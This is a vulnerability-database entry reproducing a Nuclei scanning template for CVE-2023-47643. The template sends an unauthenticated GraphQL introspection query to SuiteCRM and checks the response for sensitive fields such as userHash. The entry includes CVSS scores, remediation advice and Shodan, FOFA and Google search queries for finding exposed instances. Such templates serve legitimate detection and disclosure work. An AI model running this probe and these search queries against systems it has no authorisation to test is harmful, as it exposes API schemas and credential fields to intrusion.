Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-47643
HistoryJan 28, 2024 - 6:06 a.m.

SuiteCRM Unauthenticated Graphql Introspection

2024-01-2806:06:19
ProjectDiscovery
github.com
10
cve
graphql
suitecrm
introspection
salesagility
vulnerability
api
security
update
schema

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

4.7 Medium

AI Score

Confidence

High

0.326 Low

EPSS

Percentile

97.0%

Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
id: CVE-2023-47643

info:
  name: SuiteCRM Unauthenticated Graphql Introspection
  author: isacaya
  severity: medium
  description: |
    Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
  impact: |
    An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.
  remediation: |
    Update to version 8.4.2.
  reference:
    - https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47643
    - https://www.apollographql.com/blog/graphql/security/why-you-should-disable-graphql-introspection-in-production/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-47643
    cwe-id: CWE-200
    epss-score: 0.06214
    epss-percentile: 0.93569
    cpe: cpe:2.3:a:salesagility:suitecrm:8.4.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: salesagility
    product: suitecrm
    shodan-query:
      - title:"SuiteCRM"
      - http.title:"suitecrm"
    fofa-query: title="suitecrm"
    google-query: intitle:"suitecrm"
  tags: cve,cve2023,graphql,suitecrm,introspection,salesagility

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-XSRF-TOKEN: {{csrftoken}}

        {"query":"query IntrospectionQuery {\r\n      __schema {\r\n        \r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          \r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      \r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n      \r\n      \r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "userHash"
          - "authenticateId"
          - "systemGeneratedPassword"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        group: 1
        part: header
        regex:
          - "XSRF-TOKEN=([^;]+)"
        internal: true
# digest: 490a0046304402201738e663e68bb906203de6a56424f8696e9bdd5329ce6d18b5a72648017e5a810220670887eb41d7f62a8e6ca4c71bc43e05b42c8c90d3687ae87925fe80135dddc5:922c64590222798bb761d5b6d8e72950

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

4.7 Medium

AI Score

Confidence

High

0.326 Low

EPSS

Percentile

97.0%

Related for NUCLEI:CVE-2023-47643